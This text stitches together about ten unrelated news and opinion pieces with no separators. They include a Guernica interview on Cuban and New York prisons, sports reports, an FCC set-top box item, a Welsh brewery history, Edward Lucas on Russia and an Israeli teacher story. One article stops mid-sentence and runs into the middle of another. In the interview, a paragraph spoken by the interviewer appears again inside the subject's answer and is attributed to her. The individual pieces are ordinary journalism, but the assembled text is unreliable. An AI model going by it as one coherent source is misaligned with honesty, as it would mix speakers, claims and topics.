Soffiyah Elijah: Yeah. Far too often, once I say that I’ve seen this work in Cuba, people turn off. And I can’t say that, so it’s almost like a taboo. But the whole society cannot be staged. Right? It’s a different culture, a different outlook on life. One of the things that I find really interesting in Cuba, no matter what part of the country you’re in, whether people are living very, very poorly, or a better level of existence, Sunday evening, on a hot evening, after dinner, you see loads and loads and loads of families walking, just taking a stroll—the children, the parents—peacefully, but that is an activity, and it’s just very loving and nurturing. And I don’t mean like the land of milk and honey. The people are struggling, but they’re enjoying each other’s company. And having a peaceful coexistence.
Guernica: I don’t want to imply that Cuba is a total paradise, and I think we all carried a healthy balance of skepticism and openness into all of our meetings in Cuba just as we would do in similar meetings here.
Soffiyah Elijah: The thing that is most important about Cuba is it gives an opportunity for people to just go and see for themselves. It’s not all right. It’s not all wrong. It’s not all left. It’s not all right. It’s a different society, and my hope is that the embargo will end and then the travel restrictions will be totally eliminated, so that Americans are free to go and see and learn and experience friendships like they could do anyplace else.
Guernica: Why do you think your request for our group to visit a prison in Cuba was denied?
Soffiyah Elijah: We were not an official delegation and we were not requesting an inspection. I never received a denial, although of course, we could claim that if we did not get a yes we were denied. That fails to recognize the sensitive nature of the request in the first place in light of the long historical allegations of human rights violations by the US against Cuba that escalated in the 1990s, a few years AFTER I’d visited Cuban prisons. My recent request to visit a Cuban prison came in the midst of historical political negotiations to normalize relations between Cuba and the US. This important contextual framework is imperative in understanding the full significance of our trip at this historical moment.
Guernica: Something that really made an impression on me while we were there was the contrast between what we were hearing in our meetings about the treatment of people in prison there and what I was hearing from you whenever we got back on the bus in terms of the horrible abuses you’ve witnessed in New York prisons. Could you talk about that?
Soffiyah Elijah: So many horrific things happen here. One stark contrast is the routine use of solitary confinement in our prisons. The use of solitary confinement in the US is so abusive that it shocks the conscience. In February 2016 Albert Woodfox was finally released from prison after serving forty-three years in solitary confinement! Contrast this with the fact that they don’t use solitary confinement at all in Cuba. Another contrast is that in Cuba, if you’re sentenced to the death penalty, you have an automatic right of appeal all the way up to the National Assembly to decide on whether or not that sentence is going to be imposed, and the last time it was imposed was in 2003. Also, in Cuba, if someone is charged with murder, the very first thing that happens is a complete psychosocial evaluation, because there is an assumption that if someone’s behavior is so aberrant that they engaged in murder, there must have been something psychologically wrong with them. As opposed to the assumptions that are made here. Nothing, nothing like that happens here.
Guernica: My understanding is that in New York you have an established network of formerly incarcerated people and currently incarcerated people who let you in on what’s really going on inside the prisons so that if you visit and they try to present things as better than they are, you know it.
Soffiyah Elijah: Correct. Some of those people work here at the Correctional Association, and then we have a network of coalition members and advisory board people.
Guernica: What about Cuba? How do you know what’s really going on inside those prisons?
Soffiyah Elijah: I ask my friends there who know people who have been incarcerated there, “So tell me, what do people say was their experience?”
“What’s the real deal?” “This is what I heard at this lecture.” “This is what I heard here.” You know? “What do you see the police doing?” “What are people describing happened to them when they were incarcerated?” And they’re not describing these human rights abuses that are being reported in the United States. Now, obviously I haven’t been to every prison in Cuba. I haven’t talked to every person who’s ever been incarcerated. But I know that Cuba’s crackdown on corruption and violation of their public trust is very serious. So, I think that contributes to why they don’t have a police brutality problem and they don’t have an abuse problem inside the prisons.
Guernica: The Correctional Association of New York’s role in inspecting New York prisons and publicly condemning the abuses you yourself have seen and heard about firsthand are crucial to making the American system more humane. How do you reconcile what you like about the Cuban criminal justice system with the fact that an NGO like the Correctional Association could not exist there?
Soffiyah Elijah: First, your question presumes that an NGO like the CA could not exist. I do not feel equipped to make that assertion. It also, more subtly, presumes that only a CA-like structure can accomplish its goals and pursue its mission in Cuba. In light of the fact that the political infrastructure is vastly different in Cuba and the United States, such a presumption may be flawed.
The Correctional Association was founded over 170 years ago by very wealthy people who wielded tremendous influence in New York politics. It was headed by a socially conscious judge, John Edmonds, who was troubled by the conditions the people he sentenced to prison were forced to endure. He was disturbed so much by these conditions that he rallied his friends to join him in doing something about it. Using their political influence, they succeeded in getting the New York legislature to bestow upon them the authority to inspect all prisons and jails and report their findings. They were not given funding by the lawmakers. However, due to their own wealth, they were able to operate without it.
There is only one other private independent organization similar to the CA in the United States, The Pennsylvania Prison Society. Unlike the CA, it uses its access to advocate on behalf of individuals and does not pursue systemic change. It was founded in 1787. Many activists in the prison reform movement across the country have noted that it would be impossible today to replicate the CA in other states due to political resistance by lawmakers and policy wonks.
So, would it be financially feasible to create and sustain a CA-like organization in Cuba? The CA is almost totally funded by private donors and foundations. Philanthropic organizations do not exist in Cuba. Cuba is a very poor country and its resources are focused on feeding, housing, educating and caring for the health of the people. Similarly, very wealthy individuals do not exist in Cuba. Yes, some people are enjoying a somewhat higher quality of life, but the vast amounts of wealth that we see in the US are not the norm in Cuba.
In one of our meetings in Havana, we asked if they shackle women during childbirth, and they looked at us like we were accusing them of some kind of barbarism. We explained with embarrassment that we were only asking if they engaged in the same practice that we have here.
The political feasibility question is undoubtedly what most people will presume is answered with a resounding no. However, the Committees for the Defense of the Revolution are designed to build in opportunities for popular input by the people on a block-by-block basis and thereby facilitate a participatory governance structure. Despite their many successes, the Committees are mechanisms of the State and therefore are at least potentially less objective than an NGO like the CA could be. It may be difficult to determine whether or not the committees are sufficient to address the sorts of concerns that the CA has struggled to expose in the US.
Guernica: One of the things you yourself have been really instrumental in putting an end to in New York state is the practice of shackling women during childbirth and pregnancy. But I understand from the Correctional Association’s recent report on reproductive health that the majority of pregnant women are still being shackled in violation of the law.
Soffiyah Elijah: It’s true. It’s true.
Guernica: In one of our meetings in Havana, we asked if they shackle women during childbirth, and they looked at us like we were accusing them of some kind of barbarism. We explained with embarrassment that we were only asking if they engaged in the same practice that we have here.
Soffiyah Elijah: That’s a good point. Yeah. They couldn’t fathom how any society could think of shackling a woman when she was giving birth. Just being able to be in a society and hear how bizarre it is to them that we would shackle a woman while she’s giving birth, or while she’s pregnant at all—so, that kind of supports and fuels your righteous indignation to push back and advocate even harder to say, “No, I’m not crazy. I know that this does not have to be the norm, and what’s being done here is barbaric.”The opening race of the 2015 VLN season at the Nurburgring was halted following a heavy crash involving the Nissan GT-R of British driver Jann Mardenborough.
Mardenborough's car went off track at Flugplatz and jumped over the barriers, landing upside down in the spectator area.
One spectator died at the scene, despite the efforts of rescuers and medics. Several others were injured, and taken to hospital.
Nissan said Mardenborough got out of the car and, after initial checks in the medical centre, was taken to hospital for further routine checks.
"Today's events have been a tragedy. We are all deeply shocked and saddened by these events and our immediate thoughts go to the deceased, those injured and their families and friends," said Nissan in a statement.
"The team is fully co-operating with the race organisers to conduct an immediate and thorough investigation into this incident."
The race was stopped and will not be restarted.CLOSE The 133-pounder won a national title Saturday night after fighting through multiple ailments.
Iowa's Cory Clark celebrates after defeating South Dakota States Seth Gross in the 133-pound final at the NCAA Division I wresting championships on Saturday in St. Louis. (Photo: Tom Gannam/AP)
ST. LOUIS — Cory Clark can climb to the top of the podium at the NCAA Division I Wrestling Championships.
Finally.
A four-time All-American from Pleasant Hill, the Iowa 133-pound senior was in Saturday night’s championship match for the third consecutive year. He earned his first win, claiming a 4-3 decision over South Dakota State’s Seth Gross.
“I thought if it wouldn’t have gotten done, it would have been a disaster,” Clark said.
“And each year I didn’t accomplish that, it hurt me inside. To get it done this year is incredible.”
The win marks the 82nd individual championship in Hawkeye history and the program’s first since 2014, when Tony Ramos also conquered the 133-pound bracket.
The former Southeast Polk High School star wrestled for most of the last three months with an injured left arm. Sporting a black protective sleeve under his black-and-gold singlet, he gritted his teeth through three wins at the Scottrade Center to get to Gross.
He revealed after Saturday’s win that he tore ligaments in his wrist and that his shoulder “blew out of its socket,” but he continued towards his first championship.
“We figured out how to keep him healthy, but still build his shape and build his wrestling,” Iowa associate head coach Terry Brands said. “We don’t give up on our people here.”
Brands was on the receiving end of a celebratory slam from Clark as the sold-out crowd roared.
They shared a hug after Clark took the lead for good with 1 minute, 23 seconds left in the third period on a low single-leg takedown. From there, Gross was glued underneath Clark with a 4-3 deficit and would never come close to being released.
“Right when I got in the leg, Terry said, ‘You’ve been here your whole life, you’re good,’” Clark said. “And it made a lot of sense to me, because how many times have I come out of the back on somebody and been pretty good there? I finished it.”
The path to Saturday’s ESPN-televised final included Friday night’s semifinal against Ohio State’s top-seeded and previously unbeaten Nathan Tomasello. Clark (20-3) avenged a loss to Tomasello in the Big Ten finals by grinding out a 7-4 decision with a title-match berth on the line.
CLOSE Iowa associate head coach Terry Brands describes how Cory Clark gutted out the NCAA Championships with an injured left arm.
“He’s a thinker,” Iowa teammate and third-place 125-pound finisher Thomas Gilman said Saturday of Clark. “After the Big Ten match, I don’t think he looked up once from his phone. He was taking the match apart.
“He gets his hands on them once, they beat him. They got lucky, maybe. ‘Oh, how am I going to beat them again?’ He’s a tough guy. Smart, too.”
Clark had never faced Gross in competitive match. The No. 2 seed began his career as a teammate of Clark’s at Iowa before transferring to Brookings, S.D., in 2015.
Clark lost in the NCAA finals to Oklahoma’s Cody Brewer in 2015 and Cornell’s Nahshon Garrett in 2016. The decisions in those matches finished with 11-8 and 7-6 scores, as the Iowa prep four-time champ came up just short. After the mental and physical trials he persevered through to get to Saturday, the match was simply viewed as seven more minutes.
CLOSE Iowa senior Cory Clark describes his conversations with Tom and Terry Brands ahead of the NCAA Championships
“I’ve had two years in a row where I’ve spent weeks in my basement, just pouting and being a baby,” Clark said. “Today, I can look forward and know in two weeks I won’t be in my basement with my headphones turned all the way up and crying. That’s a good thing.”
Iowa head coach Tom Brands watched the match from the warm-up area in the tunnels of Scottrade Center, allowing his twin brother, Terry, and assistant Ben Berhow to be in Clark's corner. He was thrilled for the in-state prospect who ultimately became the leader of a strong senior class.
“All I said to him when I met him on the edge of the mat was, ‘You’re a tough son of a gun,’” Tom Brands said. “He’s always been like that.
“It’s big for our program It’s big for Cory Clark. It’s big for Cory Clark’s family.”
Clark is the program’s 19th four-time All-American, and he avoided becoming just the second Iowa wrestler to finish with three runner-up medals and no title. It capped his career and a positive comeback for Iowa on Saturday in St. Louis.
“I want to go back and see my family, see my friends and that’s when it will really hit me,” Clark said while getting emotional near the end of his press conference.
“And just seeing my coach celebrate, that really got me. That was awesome.”Traditionally, a translator must try to replicate something of the timbre, the je ne sais quoi, of the original text at hand. But what can a translator do when the timbre of the original is obstructionism, incomprehensibility, and repetitiveness?
Picking up on a piece by translator Bérengère Viennot in Slate last month, Le Monde today worried about the future facing translators at foreign newspapers. On the one hand, Trump’s speech is simple, so it is not hard for English speakers to understand him. But by the same token, his vocabulary is so repetitive and impoverished that a translator faces real challenges in turning them into proper sentences.
Trump’s language is characterized by the very features that make a text untranslatable. He uses intonation rather than vocabulary to express his meaning, making his words difficult to understand on the page. He repeats words over and over again: tremendous, great, horrible. So, the translator should repeat words, so that the reader can gain an accurate impression of how the most powerful man in the world expresses himself.
But this fealty to the reality of Trump’s speeches can inhibit actual understanding of his politics. A few days ago, Viennot elaborated at the Los Angeles Review of Books:
As a translator of political discourse, you also have the duty to write readable texts: so what am I to do? Translate Trump as he speaks, and let French readers struggle with whatever content there is?
Translators across the world will today struggle to extract the (deeply newsworthy) pieces of information embedded in Trump’s first speech. But foreign media outlets will be up against an unprecedented communication barrier: The president of the United States speaks like a fifth grader, even when the world is listening.FCC chairman Tom Wheeler at Mobile World Congress 2015 in Barcelona, Spain. David Ramos/Getty Images
If you’re sick of shelling out every month to rent your cable box, change may finally be coming. The Federal Communications Commission approved a Notice of Proposed Rulemaking, or NPRM, on Thursday that would allow third-party manufacturers to make set-top boxes that deliver cable television. The proposal also requires cable and satellite companies to make their content available for these alternative boxes.
Currently, there is a small amount of leeway for third parties to make set-top boxes, but, to protect a $19-billion industry, cable companies have made it difficult to make or use these alternatives. According to a July Senate study, more than 99 percent of cable customers in the United States currently rent a box from their cable company for $231 per year on average.
The idea of the FCC proposal is that third-party devices like Nexus Players or Apple TVs could eventually provide cable alongside other streaming apps and Internet services. You can see why the cable industry isn’t keen on this change. Opening the market could drive down cable box prices and push cable companies to spend money improving their set-top tech.
The NPRM, which was approved by a 3–2 decision (three Democrats in favor, two Republicans opposed), will now enter an open comment period, revisions, and ultimately a final vote. The proposal has been fiercely criticized by the cable lobby, which says it will stifle innovation in the industry and favor outside groups. But FCC Chairman Tom Wheeler, who proposed the new framework, has consistently pushed back against these ideas.
As Ars Technica notes, he said in the meeting that:
Nothing in |
if they could solve the reaction problems then they'd not only have a massive publicity coup, but also all the money they were currently spending on glass bottles would instead go directly into their tinplate interests.
"It became something of a space race, with Buckley's Brewery also keen to achieve the first.
"So when Felinfoel pipped them to the post, every employee of the brewery and the tinplate works was given a can to mark the occasion.
"These cans today are valuable collectors' items."
Image copyright Felinfoel Brewery Image caption Some say melting wax inside cans first led to Felinfoel being given the nickname 'feeling foul' by soldiers
These half-pint tin bottles bore little resemblance to modern cans, which would not emerge until the 1960s.
But crucially, they were much lighter than their glass rivals, making them a firm favourite in supplies sent to British forces during World War Two.
Teething problems
While they proved a big hit in the UK, transporting them around the world posed its own problems.
"The wax coating worked well in the cold British climate, but when it was shipped to warmer climes such as the Far East, the wax would melt and seep into the beer, leaving an unpleasant taste," Mr Lewis added.
"After the war this drove brewers to develop the synthetic coatings used on modern cans."
While there were teething problems, cans were here to stay and more than 80% of beer drunk at home is now sold in them.
Image copyright Felinfoel Brewery Image caption Cans allowed breweries to produce gift packs and sell beer in a way they had not been able to before
Despite this success, Mr Lewis has mixed feelings about his brewery's place in history.
"It's ironic that we were the brewery to pioneer canned beer and that today it's those same cans which are contributing to the decline of the pub," he said.
"In common with all breweries, we face an enormous challenge in getting people out of their houses and selling the pub as not only a place to buy beer, but as an entertainment experience."
Image copyright Felinfoel Brewery Image caption Two Welsh breweries - Felinfoel and Buckley's - were both keen to produce beer in cans during the 1930s
The Beer Academy's Welsh beer sommelier, Tom Newman, takes a different view.
He believes that after decades as a vehicle for "stack 'em high, sell 'em cheap supermarket lager", the can is now helping micro brewers to fight back.
"For years, canning was very expensive and so only really leant itself to mass-market breweries.
"But today the cost has come right down with the invention of mobile canning lines and it's actually an incredibly good way to get craft ales out there," he said.
"The two enemies of ales are UV light and oxygen and, if done right, canning can counter these much more efficiently than bottling.
"In America there's already an explosion of micro-breweries selling their ales in cans and I think it's a matter of time until we see the same thing happening over here."Notre Dame redshirt sophomore quarterback DeShone Kizer has not announced yet if he will enter the 2017 NFL Draft. I was told during the college football season that this past season was going to be his last as a college football player.
Kizer is a talented player, albeit inconsistent, but there isn’t any part of his game that can’t be improved upon with good coaching and hard work. As for raw talent, Kizer will be the most talented quarterback in this year’s class if he in fact decides to come out.
Going back to the beginning of the 2015 season, Kizer was listed as the backup to Malik Zaire. The two are very different types of players. Zaire is about 6-0, 225 pounds and very athletic.
He was the perfect quarterback to run Brian Kelly’s zone-option offense. In Game Two last year, Zaire was injured in the second half and lost for the season and in came Kizer. All Kizer did in that game is complete 8 of 12 throws for 92 yards and two touchdowns including the game-winning score very late in the game. From that point on, Kizer was the starter.
For the 2015 season, he finished completing 211 of 335 passes for 2,884 yards, 21 touchdowns and 10 interceptions. He had a veteran receiving corps led by first-round pick Will Fuller and seniors Chris Brown and Amir Carlisle. That group, and with Fuller having great deep threat skills, gave Kizer as good a receiving corps as any in the country.
This year, Kizer’s completion percentage went down from 63 percent to 59 percent mainly because he had a very inexperienced group of receivers. Except for Torii Hunter Jr., who missed almost half the season with injuries, the receiving corps was basically first-year players. The offensive line lost two players to the NFL after the 2015 season and wasn’t nearly as good as it was last year.
Still, Kizer was able to throw for 2,915 yards and 26 touchdowns along with nine interceptions. Those stats are remarkable especially when you consider that Kizer was not the quarterback that Brian Kelly wanted playing. Kelly would have preferred that Zaire win the quarterback job and even started Zaire in the opening game versus Texas. Kelly had the two QBs alternating series but when it was obvious that Kizer was clearly the better and more productive player, Zaire was made the backup.
Even though Kizer re-won the starting job, the damage had been done. There was no question who the more talented player was, but when the head coach prefers another it can be tough to play with confidence. Add to that the fact that Notre Dame redshirted their quarterback of the future this past season. Sophomore Brandon Wimbush has size and traits similar to Zaire and is the quarterback Kelly wants to lead Notre Dame in 2017.
The offense Notre Dame played this year also hurt Kizer’s development. In 2015, we saw a lot of quick passes where Kizer was able to get the ball out of his hand quickly. Of course, he had receivers who were very good after the catch. This year, except for some bubble screens, most of the pass plays were slower developing downfield throws. That type of offense is a much lower percentage passing offense and will hurt any quarterback's stats.
Kizer is about 6-4, 235 pounds with good to very good athletic ability. He doesn’t have the suddenness of a smaller player but he has good speed and can run well with the ball. He has a good feel for pass rushers and can keep plays alive with his feet. His arm strength is second to none when compared to other quarterbacks who may be in this draft class.
Kizer can make all the throws that an NFL quarterback needs to make. The Notre Dame offense is more sophisticated than most of the spread offenses we see and Kizer is asked to do things similar to what NFL quarterbacks have to do. He can change plays at the line as well as protections. The offense is a full-field offense and the route tree the receivers run is an NFL-type. This gives him an advantage over many spread formation QBs, as they have half-field reads and minimal route trees.
For the most part, Kizer sees the field well and is a good decision-maker, but he will make the occasional poor decision and force a throw. If he goes back to school for 2017, I see him taking care of this problem with more college experience. The problem is, I doubt he returns, which means it’s up to his NFL coaches to help him correct his flaws.
Kizer most likely won’t be the first quarterback drafted and maybe not the second, but I do believe that two to three years down the road he will be the best quarterback in this class. He has as good or better natural tools than any other quarterback in this class, plus he has superb football character. He works at the game and wants to be a great player. Of course, time will tell, but some team in the middle of the first round will hit a home run.Realism is in the air. Not the realism we need—not a clear-eyed appreciation of the dangers facing our hitherto safe, free, and comfortable lives, of own weakness and of the strengths of our adversaries. This is inverted realism—a realism that says that to try to defend ourselves is unrealistic, that our enemies are not really our enemies and our allies not really our allies.
It comes to us from many quarters, on the left (German Social Democrats) and on the populist right (Donald Trump). Perhaps the most lucid recent exposition is a piece in First Things by my friend Peter Hitchens.
Hitchens argues that we have needlessly soured our relations with Russia by expanding into territories that the Kremlin abandoned after the collapse of communism. We have unfairly demonized Vladimir Putin, who though a “sinister tyrant” (Hitchens’s words) is certainly no worse and perhaps better than our supposed allies in Turkey or Saudi Arabia. Russia is not the Soviet Union. Nor is it an expansionist power: Crimea was a justifiable one-off response to Ukrainian (and Western) provocation. So instead of fighting a new cold war, we should recognize the traumas the Russian people have been through and allow them to get on with restoring their “glorious” (his word) Christian and European heritage.
This argument is expressed with formidable eloquence and what looks like expertise. Hitchens is a former Moscow correspondent and knows his European history. Many Russians, and their friends in the West, believe it.
But it is mostly mistaken. For starters, the article is largely attacking a straw man: Those of us who believe we are indeed in a new cold war do not argue that Russia is the Soviet Union or is trying to recreate it. Russia is not a global power in any respect apart from nuclear weapons and land-mass. Its ideology, if one can call it that, is a crude and contradictory mixture of anti-Westernism, nationalist bombast, and Soviet nostalgia. It does not bear comparison with the grim but sophisticated edifice of Marxism-Leninism. The latter involved, for example, the compulsory study over many years of Dialectical Materialism (known unfondly to Soviet-era students as diamat). Nothing of the kind exists in Putin’s Russia.
What Hitchens fails to spot is that the Soviet Union was not just about Communism, or about Russia. It was an empire. One hundred twenty million-plus of the Soviet Union’s two hundred eighty-six-million population were non-Russians. Almost none of them were Soviet by choice, any more than the one hundred million people in the other Warsaw Pact countries wanted to be under Soviet tutelage. To view the collapse of the evil empire solely from a Russian point of view is therefore misleading. It would be like writing about Irish history solely from the point of the view of the British. Estonians, Latvians, Lithuanians, Ukrainians, and other captive nations are real people, too. They have real languages, real histories, real dreams, and memories of statehood.
They suffered real traumas, too, both under Stalin’s repressions and by paying the greatest price in World War II (or the Great Patriotic War, as the Soviets misnamed it, and as modern Russia still does). If we fail to acknowledge the infamy of the Hitler-Stalin pact, which consigned these countries to the meat-grinder, and fail to note that most of the casualties and destruction of World War II involved these countries’ peoples and their territories, then our picture of the Soviet Union is incomplete—and so is our understanding of what happened in 1989–91.
For the Soviet Union and Russia did not “withdraw” from these countries and the Warsaw Pact. The Kremlin’s power collapsed along with its empire. Unlike Nazi Germany, the Soviet Union did not suffer a military defeat. It suffered the ultimate political and economic one: The Russians, the supposed masters of the whole system, revolted against the lies, brutality, and incompetence with which they were being governed. Many of them revolted against the idea of empire, too.
The collapse of empires is always messy and poses great dilemmas. How do you balance the interests of the guiltless victims—the honest, hardworking, conscientious foot-soldiers of the imperial power, whose lives are being upturned—against the former subject peoples, newly freed and yearning for restitution, dignity, and sovereignty? There’s no pleasing everyone. Maximum humiliation of the kind imposed by Versailles on imperial Germany is wrong. But it is also wrong to take the privileges and constraints of imperial days as if they were the natural order of things.
This is the problem we have with Russia. It feels the itch of amputated limbs—Kiev, the Baltics, Berlin, the Caucasus. But what about the limbs themselves? These countries—all smaller than Russia—have their own historical traumas, too. They fear invasion. They crave security. They might even expect modern Russia—the legal successor, by its own choice, of the Soviet Union’s assets and liabilities—to pay compensation, just as Germany paid Israel, Poland, and other victims. In fact, victims of Stalinism both in Russia and abroad died waiting for any sort of real recognition of what they had suffered.
The ex-captive nations’ interests and Russia’s, therefore, are irreconcilable. Somehow they have to be balanced. Nobody is going to be satisfied.
Hitchens does not deal with this dilemma. He dismisses it, by saying that it is “baseless” to liken Russia to the Soviet Union. He takes Russia’s feeling of insecurity, and its fears of the loss of historic trophies such as the Sevastopol naval base in Crimea, at face value. These feelings are real. But there is another side to the story. The Crimean Tatars, who have a better claim to the peninsula than do the Soviet-era military pensioners and dependents who moved there after the war, see Ukraine as their only hope. Ukrainians—who appear only once in Hitchens’s essay, in a dismissive aside—want the same liberty, decency, dignity, and justice in their country that we enjoy in the West. Why shouldn’t they have it? The Estonians, Latvians, Lithuanians, Poles, Czechs, Slovaks, Hungarians, Romanians, Bulgarians, and others have been allowed into these Western clubs—and have benefited mightily from it.
Hitchens sees just one power bloc expanding into the area another bloc has vacated. But this view fundamentally mischaracterizes the enlargement of NATO and the EU. The member countries of these blocs joined by choice. They had to argue hard to be let in; initially, they were regarded by many in Brussels as too backward and volatile. To equate the Russian pull-out from the Baltic states, say, with those countries’ subsequent membership in the EU and NATO is to regard kidnapping and marriage as fundamentally the same thing.
In addition to ignoring the non-Russian point of view, Hitchens sentimentalizes Russia itself. He downplays the growth of a secret-police state in Russia, the return of Soviet-style coercive psychiatry, the rising numbers of political prisoners, the falsification of history, the loss of academic freedom, the ubiquitous hate machine, the use of beatings and assassinations. He hankers for a return of pre-revolutionary Russia’s “glorious” past. Yet for many people in the years before 1917, the Russian empire was anything but glorious. The appalling rule of the Romanovs, the grotesque privileges of the aristocrats, the obscurantism of the church, the harshness of the courts, the systematic attempts to wipe out other languages and cultures—none of that seems very encouraging. True, other places may be worse. But we don’t live next door to them.
In particular, Hitchens underplays Russian foreign policy and the threat it poses to its neighbors. Of course the geopolitics of the post–Soviet Union is complicated. But it is clear that from the early 1990s onwards, Russia has taken upon itself the role of protector and arbiter in conflicts across the former empire. This is not the dark fantasy of an old cold warrior. It is stated again and again by senior Russians, who use terms such as “the near abroad” and “sphere of privileged interests.”
Russia did not have to adopt this revisionist, revanchist approach. It could have decided that its top foreign-policy priority was good relations with the former captive nations. That is the way Germany has treated countries such as the Netherlands, Denmark, Poland, and France. It has worked rather well. But Russia—it soon became clear in the 1990s to anyone who was paying attention—was approaching its former empire differently. It did not regard these “former Soviet republics” (as it termed them) as real countries. It blasted them with propaganda, twisted their arms with energy supplies, channelled money into their politics, and sponsored subversion. We in the West had to decide whether we were going to acquiesce in this or try to prevent it by accepting these countries’ desires for closer integration. Fortunately, we chose the latter course, accepting Estonia, Latvia and Lithuania into the European Union and NATO, along with the former Warsaw Pact countries of central Europe and two of the ex-Yugoslav republics.
This was not a reckless or ill-considered move. It was made in full knowledge that Russia would not like it—but was also, therefore, accompanied by careful diplomacy meant to alleviate, as far as possible, Russian worries. Russia was brought into the heart of NATO, through the NATO-Russia founding act and the NATO-Russia council. It was, officially, a partner and a friend.
Had Russia wanted, it could have had close and friendly ties with NATO. It was certainly able to see, at the time both big rounds of expansion were happening, that the alliance was not putting extra troops in the new frontline states, nor holding warlike exercises in these countries. Moreover, NATO was so eager to show that it did not regard Russia as an adversary that it explicitly excluded Russia from its threat assessment and it did not even make contingency plans for defending its member countries from a Russian attack.
For years, this approach worked. Russia did not welcome NATO enlargement, but it accepted it. NATO enlargement became an issue only with Putin’s Munich speech of 2007, when Russia suddenly started claiming that promises had been broken and the West was expanding an aggressive military alliance to its borders.
In truth, NATO has always been on those borders—Turkey bordered the Soviet Union during the Cold War, and Norway borders Russia to this day. More importantly, it was only in April 2009, under pressure from President Barack Obama, that NATO decided to make even outline reinforcement plans for the Baltic states and Poland. Even now, NATO does not have a standing defense plan—the core of its deterrent against the Soviet Union.
Hitchens privileges big countries over small ones, and he assumes that all big countries have equal moral weight. Just as the United States would not like it if Canada became friendly to China, so Russians don’t like it that Ukraine is friendly with the West. But these arguments cut both ways: If the US had been a bloodthirsty dictatorship and had treated Canada the way Russia has (for centuries) treated Ukraine, then freedom-loving Canadians, given the chance, might indeed seek a friendly and democratic protector against American revanchism.
Hitchens is quite right that some of our allies are unpleasant. We had this problem during the Cold War, too, when fascist Spain and Portugal, and militarily-ruled Greece and Turkey, were members of NATO. Far worse things happened in Africa, Asia, and Latin America. This is nasty, but not new. Is China a worse threat than Russia? Maybe, but it is farther away. The main thing about a war is not to lose it. That was our guiding principle in Europe during the Cold War. It remains a good one now.
Hitchens writes: “Nobody who understands history, geography, or, come to that, arithmetic can possibly accept” the portrayal of Russia as expansionist. It is true that Russia does not want to recreate the Soviet empire by military conquest. But Russia can and does pose other kinds of threats. The old cold war is indeed over. But Hitchens’s thinking is frozen in that era. The new cold war—the title of a book I wrote amid considerable skepticism in 2007—is fought on different fronts, for different aims. Russia uses money, propaganda, cyber-subversion, and other tactics to disrupt and weaken its neighbors and the West generally.
Many people are aware of this. They include millions in the countries concerned, and many (I would venture now, most) seasoned Russia-watchers in Britain, America, the Nordic states, and increasingly Germany. We are worried about, even frightened of, Russia. We may be wrong—facts and arguments, please—but we are not “nobody.”
Edward Lucas writes for the Economist. He is also senior vice-president at the Center for European Policy Analysis, a think-tank in Warsaw and Washington, D.C.
Become a fan of First Things on Facebook, subscribe to First Things via RSS, and follow First Things on Twitter.CLOSE While LeBron James' return to Cleveland made the headlines this summer, USA TODAY Sports' Sam Amick breaks down other transactions that will pay dividends this season.
The Bulls introduce new big man Pau Gasol. (Photo11: David Banks, USA TODAY Sports)
While LeBron James was the NBA's biggest free agent addition in the offseason, leaving the Miami Heat to return to the Cleveland Cavaliers, there were many other important pickups.
Some could turn lottery teams into playoff hopefuls. Others could turn perennial playoff teams into championship contenders.
Here are nine free agents who could have the most impact this season:
PAU GASOL
Old team: Los Angeles Lakers
New team: Chicago Bulls
Gasol to the Bulls should be an upgrade from Carlos Boozer. Gasol is a better passer than Boozer and is good enough defensively that coach Tom Thibodeau won't sit him in the fourth quarter. Gasol can score, giving Derrick Rose another much-needed offensive option. Gasol is a big enough addition that the Bulls, if Rose stays healthy, could be an NBA Finals contender.
CHANDLER PARSONS
Old team: Houston Rockets
New team: Dallas Mavericks
Playing alongside Dirk Nowitzki and Monta Ellis, Parsons should get a lot of opportunities to score. He has increased his production offensively every season and was a key piece in the Rockets' run to a No. 4 seed in the Western Conference last season. At 6-9, Parsons is hard to match up against, and he takes advantage by shooting 47% from the field.
ISAIAH THOMAS
Old team: Sacramento Kings
New team: Phoenix Suns
Thomas had a breakout season (20.3 ppg, 6.3 apg) and cashed in with a good deal from the Suns. He is a great scoring guard and gives Phoenix some depth after it signed Eric Bledsoe to a five-year deal. Thomas should fit in with a hungry Suns team that fell one game short of the playoffs.
DARREN COLLISON
Old team: Los Angeles Clippers
New team: Kings
Collison is a reliable point guard who is better than his stats (career 11.9 ppg, 4.9 apg) might indicate. He would start on a lot of teams, but with the Clippers he played well behind Chris Paul. With Thomas gone, Collison should be on the floor a lot with the Kings. With his speed and passing ability, he should work well with scorers Rudy Gay and DeMarcus Cousins.
LUOL DENG
Old team: Cleveland Cavaliers
New team: Miami Heat
Last season, Deng was traded from a contender in Chicago to a struggling team in Cleveland. Because of that, there was little doubt the dependable 6-9 small forward wanted to leave. Deng will join Chris Bosh and Dwyane Wade in Miami, hoping to soften the impact of James' departure.
ANTHONY MORROW
Old team: New Orleans Pelicans
New team: Oklahoma City Thunder
The underplayed addition of Morrow was big for the Thunder. Morrow doesn't make up for the defensive prowess lost in the sign-and-trade deal that sent Thabo Sefolosha to the Atlanta Hawks, but he will be able to space the floor as a 43% career three-point shooter. Morrow will complement Kevin Durant, Russell Westbrook and Reggie Jackson on the offensive side.
PAUL PIERCE
Old team: Brooklyn Nets
New team: Washington Wizards
Pierce, 36, has been brought in to be a positive influence on the dynamic young backcourt of John Wall and Bradley Beal. The upstart Wizards were the fifth seed in the Eastern Conference last season, exceeding expectations. The Wizards are hoping Pierce — who won a championship with the Boston Celtics in the 2007-08 season — will provide leadership to help them take the next step to contending for a title.
CARLOS BOOZER
Old team: Bulls
New team: Lakers
Boozer, who had solid numbers for the Bulls last season, will join Kobe Bryant, Julius Randle and Jeremy Lin in an effort to get the Lakers back into playoff contention. He has battled injuries for most of his career but has been relatively healthy the last two seasons. The Lakers hope that trend continues because they need the kind of intensity Boozer brings to the court.
SPENCER HAWES
Old team: Cavaliers
New team: Clippers
Hawes has the ability to score from inside and outside. He is a solid rebounder and has tremendous passing skills for a big man. Hawes could be what the Clippers need when they must stretch the floor or Blake Griffin or DeAndre Jordan are in foul trouble, which is often.An award winning mathetmatics teacher in Israel was told she faces dismissal after coming out to her students as a transgender woman
A high school mathematics teacher who openly talked to some of her students about being a transgender woman was summoned to a hearing for her dismissal.
Marina, who has been for the past three years an outstanding teacher and mentor, says Israel’s Center for Educational Technology (CET) wants her fired for merely discussing her gender identity.
She told her supervisor that on several occasions students asked her about her gender identity, and other issues such as a recent religious ruling that allowed a devout Jewish woman to undergo medically assisted procreation.
